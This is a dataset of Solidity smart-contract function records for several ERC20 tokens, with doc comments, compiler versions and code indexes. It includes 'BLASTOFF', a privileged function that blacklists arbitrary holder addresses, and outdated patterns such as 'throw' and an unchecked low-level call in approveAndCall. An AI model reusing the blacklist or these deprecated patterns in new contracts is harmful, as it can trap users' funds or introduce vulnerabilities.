contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; ...
BLASTOFF
function BLASTOFF(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { botban(_counts[i]); } }
/** * @dev updateTaxFee * */
NatSpecMultiLine
v0.8.11+commit.d7f03943
MIT
ipfs://d6b595189e1745b8ed82909824bfcba44cde5afb5e71830cc1d4f368e4fdab16
{ "func_code_index": [ 4463, 4637 ] }
19,871
Labereon
Labereon.sol
0xb2043201636b667490df3e0ccc86b0e72d1bfa7a
Solidity
Token
contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// ...
totalSupply
function totalSupply() constant returns (uint256 supply) {}
/// @return total amount of tokens
NatSpecSingleLine
v0.4.23+commit.124ca40d
bzzr://e4bdf22b357061dca556bee202691d2a2dc647ce5db0aa43b5b7838aa88fdaf8
{ "func_code_index": [ 60, 124 ] }
19,872
Labereon
Labereon.sol
0xb2043201636b667490df3e0ccc86b0e72d1bfa7a
Solidity
Token
contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// ...
balanceOf
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @param _owner The address from which the balance will be retrieved /// @return The balance
NatSpecSingleLine
v0.4.23+commit.124ca40d
bzzr://e4bdf22b357061dca556bee202691d2a2dc647ce5db0aa43b5b7838aa88fdaf8
{ "func_code_index": [ 232, 309 ] }
19,873
Labereon
Labereon.sol
0xb2043201636b667490df3e0ccc86b0e72d1bfa7a
Solidity
Token
contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// ...
transfer
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not
NatSpecSingleLine
v0.4.23+commit.124ca40d
bzzr://e4bdf22b357061dca556bee202691d2a2dc647ce5db0aa43b5b7838aa88fdaf8
{ "func_code_index": [ 546, 623 ] }
19,874
Labereon
Labereon.sol
0xb2043201636b667490df3e0ccc86b0e72d1bfa7a
Solidity
Token
contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// ...
transferFrom
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not
NatSpecSingleLine
v0.4.23+commit.124ca40d
bzzr://e4bdf22b357061dca556bee202691d2a2dc647ce5db0aa43b5b7838aa88fdaf8
{ "func_code_index": [ 946, 1042 ] }
19,875
Labereon
Labereon.sol
0xb2043201636b667490df3e0ccc86b0e72d1bfa7a
Solidity
Token
contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// ...
approve
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not
NatSpecSingleLine
v0.4.23+commit.124ca40d
bzzr://e4bdf22b357061dca556bee202691d2a2dc647ce5db0aa43b5b7838aa88fdaf8
{ "func_code_index": [ 1326, 1407 ] }
19,876
Labereon
Labereon.sol
0xb2043201636b667490df3e0ccc86b0e72d1bfa7a
Solidity
Token
contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// ...
allowance
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
/// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent
NatSpecSingleLine
v0.4.23+commit.124ca40d
bzzr://e4bdf22b357061dca556bee202691d2a2dc647ce5db0aa43b5b7838aa88fdaf8
{ "func_code_index": [ 1615, 1712 ] }
19,877
Labereon
Labereon.sol
0xb2043201636b667490df3e0ccc86b0e72d1bfa7a
Solidity
Labereon
contract Labereon is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; ...
approveAndCall
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extr...
/* Approves and then calls the receiving contract */
Comment
v0.4.23+commit.124ca40d
bzzr://e4bdf22b357061dca556bee202691d2a2dc647ce5db0aa43b5b7838aa88fdaf8
{ "func_code_index": [ 968, 1352 ] }
19,878
ERC20Token
ERC20Token.sol
0x456ae45c0ce901e2e7c99c0718031cec0a7a59ff
Solidity
VisionNetwork
contract VisionNetwork { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} ...
totalSupply
function totalSupply() constant returns (uint256 supply) {}
/// @return total amount of tokens
NatSpecSingleLine
v0.4.26+commit.4563c3fc
MIT
bzzr://61c868cb5bc97c2b9c4c4aeb5af6cde4c67e098f875c23891a386ecf768ff3fe
{ "func_code_index": [ 68, 132 ] }
19,879
ERC20Token
ERC20Token.sol
0x456ae45c0ce901e2e7c99c0718031cec0a7a59ff
Solidity
VisionNetwork
contract VisionNetwork { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} ...
balanceOf
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @param _owner The address from which the balance will be retrieved /// @return The balance
NatSpecSingleLine
v0.4.26+commit.4563c3fc
MIT
bzzr://61c868cb5bc97c2b9c4c4aeb5af6cde4c67e098f875c23891a386ecf768ff3fe
{ "func_code_index": [ 240, 317 ] }
19,880
ERC20Token
ERC20Token.sol
0x456ae45c0ce901e2e7c99c0718031cec0a7a59ff
Solidity
VisionNetwork
contract VisionNetwork { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} ...
transfer
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not
NatSpecSingleLine
v0.4.26+commit.4563c3fc
MIT
bzzr://61c868cb5bc97c2b9c4c4aeb5af6cde4c67e098f875c23891a386ecf768ff3fe
{ "func_code_index": [ 554, 631 ] }
19,881
ERC20Token
ERC20Token.sol
0x456ae45c0ce901e2e7c99c0718031cec0a7a59ff
Solidity
VisionNetwork
contract VisionNetwork { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} ...
transferFrom
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not
NatSpecSingleLine
v0.4.26+commit.4563c3fc
MIT
bzzr://61c868cb5bc97c2b9c4c4aeb5af6cde4c67e098f875c23891a386ecf768ff3fe
{ "func_code_index": [ 954, 1050 ] }
19,882
ERC20Token
ERC20Token.sol
0x456ae45c0ce901e2e7c99c0718031cec0a7a59ff
Solidity
VisionNetwork
contract VisionNetwork { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} ...
approve
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not
NatSpecSingleLine
v0.4.26+commit.4563c3fc
MIT
bzzr://61c868cb5bc97c2b9c4c4aeb5af6cde4c67e098f875c23891a386ecf768ff3fe
{ "func_code_index": [ 1334, 1415 ] }
19,883
ERC20Token
ERC20Token.sol
0x456ae45c0ce901e2e7c99c0718031cec0a7a59ff
Solidity
VisionNetwork
contract VisionNetwork { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} ...
allowance
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
/// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent
NatSpecSingleLine
v0.4.26+commit.4563c3fc
MIT
bzzr://61c868cb5bc97c2b9c4c4aeb5af6cde4c67e098f875c23891a386ecf768ff3fe
{ "func_code_index": [ 1623, 1720 ] }
19,884
ERC20Token
ERC20Token.sol
0x456ae45c0ce901e2e7c99c0718031cec0a7a59ff
Solidity
ERC20Token
contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to cust...
approveAndCall
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually ...
/* Approves and then calls the receiving contract */
Comment
v0.4.26+commit.4563c3fc
MIT
bzzr://61c868cb5bc97c2b9c4c4aeb5af6cde4c67e098f875c23891a386ecf768ff3fe
{ "func_code_index": [ 1100, 1906 ] }
19,885
BusinessChain
BusinessChain.sol
0x8c67606edda2b0e0c3334f7f7a2adbf4688e42ea
Solidity
BusinessChain
contract BusinessChain { /* Public variables of the token */ string public standard = 'BusinessChain'; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public ...
BusinessChain
function BusinessChain() { balanceOf[msg.sender] = 2100000000 * 1000000000000000000; // Give the creator all initial tokens totalSupply = 2100000000 * 1000000000000000000; // Update total supply name = "BusinessChain"; // Set the nam...
/* Initializes contract with initial supply tokens to the creator of the contract */
Comment
v0.4.18+commit.9cf6e910
bzzr://aa2e57482fbcfdb63e52927cd872805a7f40bbe06c3c7c5bac7d760d08990a0f
{ "func_code_index": [ 773, 1327 ] }
19,886
BusinessChain
BusinessChain.sol
0x8c67606edda2b0e0c3334f7f7a2adbf4688e42ea
Solidity
BusinessChain
contract BusinessChain { /* Public variables of the token */ string public standard = 'BusinessChain'; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public ...
transfer
function transfer(address _to, uint256 _value) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check...
/* Send coins */
Comment
v0.4.18+commit.9cf6e910
bzzr://aa2e57482fbcfdb63e52927cd872805a7f40bbe06c3c7c5bac7d760d08990a0f
{ "func_code_index": [ 1352, 2014 ] }
19,887
BusinessChain
BusinessChain.sol
0x8c67606edda2b0e0c3334f7f7a2adbf4688e42ea
Solidity
BusinessChain
contract BusinessChain { /* Public variables of the token */ string public standard = 'BusinessChain'; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public ...
approve
function approve(address _spender, uint256 _value) returns (bool success) { allowance[msg.sender][_spender] = _value; return true; }
/* Allow another contract to spend some tokens in your behalf */
Comment
v0.4.18+commit.9cf6e910
bzzr://aa2e57482fbcfdb63e52927cd872805a7f40bbe06c3c7c5bac7d760d08990a0f
{ "func_code_index": [ 2087, 2256 ] }
19,888
BusinessChain
BusinessChain.sol
0x8c67606edda2b0e0c3334f7f7a2adbf4688e42ea
Solidity
BusinessChain
contract BusinessChain { /* Public variables of the token */ string public standard = 'BusinessChain'; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public ...
approveAndCall
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } }
/* Approve and then communicate the approved contract in a single tx */
Comment
v0.4.18+commit.9cf6e910
bzzr://aa2e57482fbcfdb63e52927cd872805a7f40bbe06c3c7c5bac7d760d08990a0f
{ "func_code_index": [ 2336, 2672 ] }
19,889
BusinessChain
BusinessChain.sol
0x8c67606edda2b0e0c3334f7f7a2adbf4688e42ea
Solidity
BusinessChain
contract BusinessChain { /* Public variables of the token */ string public standard = 'BusinessChain'; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; /* This creates an array with all balances */ mapping (address => uint256) public ...
transferFrom
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (_to == 0x0) throw; // Prevent transfer to 0x0 address. Use burn() instead if (balanceOf[_from] < _value) throw; // Check if the sender has enough if (balanceOf[_to...
/* A contract attempts to get the coins */
Comment
v0.4.18+commit.9cf6e910
bzzr://aa2e57482fbcfdb63e52927cd872805a7f40bbe06c3c7c5bac7d760d08990a0f
{ "func_code_index": [ 2723, 3505 ] }
19,890
WhippetInuToken
WhippetInuToken.sol
0xa044057bebea8260fdb95bc7274d4223becafcc7
Solidity
IERC20
interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender`...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) external view returns (uint256);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5898bfd1b7181e08c9cdcd1883cc1218051a43a768acb966ceb3a7aec3c5ad35
{ "func_code_index": [ 522, 610 ] }
19,891
WhippetInuToken
WhippetInuToken.sol
0xa044057bebea8260fdb95bc7274d4223becafcc7
Solidity
IERC20
interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender`...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * Emits an {Approval} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5898bfd1b7181e08c9cdcd1883cc1218051a43a768acb966ceb3a7aec3c5ad35
{ "func_code_index": [ 841, 920 ] }
19,892
WhippetInuToken
WhippetInuToken.sol
0xa044057bebea8260fdb95bc7274d4223becafcc7
Solidity
IERC20
interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender`...
/** * @dev Interface of the ERC20 standard as defined in the EIP. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5898bfd1b7181e08c9cdcd1883cc1218051a43a768acb966ceb3a7aec3c5ad35
{ "func_code_index": [ 1233, 1335 ] }
19,893
WhippetInuToken
WhippetInuToken.sol
0xa044057bebea8260fdb95bc7274d4223becafcc7
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow checks. * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
/** * @dev Returns the addition of two unsigned integers, reverting on overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5898bfd1b7181e08c9cdcd1883cc1218051a43a768acb966ceb3a7aec3c5ad35
{ "func_code_index": [ 122, 308 ] }
19,894
WhippetInuToken
WhippetInuToken.sol
0xa044057bebea8260fdb95bc7274d4223becafcc7
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow checks. * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
/** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5898bfd1b7181e08c9cdcd1883cc1218051a43a768acb966ceb3a7aec3c5ad35
{ "func_code_index": [ 586, 727 ] }
19,895
WhippetInuToken
WhippetInuToken.sol
0xa044057bebea8260fdb95bc7274d4223becafcc7
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow checks. * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; }
/** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5898bfd1b7181e08c9cdcd1883cc1218051a43a768acb966ceb3a7aec3c5ad35
{ "func_code_index": [ 1025, 1222 ] }
19,896
WhippetInuToken
WhippetInuToken.sol
0xa044057bebea8260fdb95bc7274d4223becafcc7
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow checks. * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; ...
/** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5898bfd1b7181e08c9cdcd1883cc1218051a43a768acb966ceb3a7aec3c5ad35
{ "func_code_index": [ 1476, 1952 ] }
19,897
WhippetInuToken
WhippetInuToken.sol
0xa044057bebea8260fdb95bc7274d4223becafcc7
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow checks. * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); }
/** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to reve...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5898bfd1b7181e08c9cdcd1883cc1218051a43a768acb966ceb3a7aec3c5ad35
{ "func_code_index": [ 2423, 2560 ] }
19,898
WhippetInuToken
WhippetInuToken.sol
0xa044057bebea8260fdb95bc7274d4223becafcc7
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow checks. * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
div
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }
/** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an in...
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://5898bfd1b7181e08c9cdcd1883cc1218051a43a768acb966ceb3a7aec3c5ad35
{ "func_code_index": [ 3051, 3334 ] }
19,899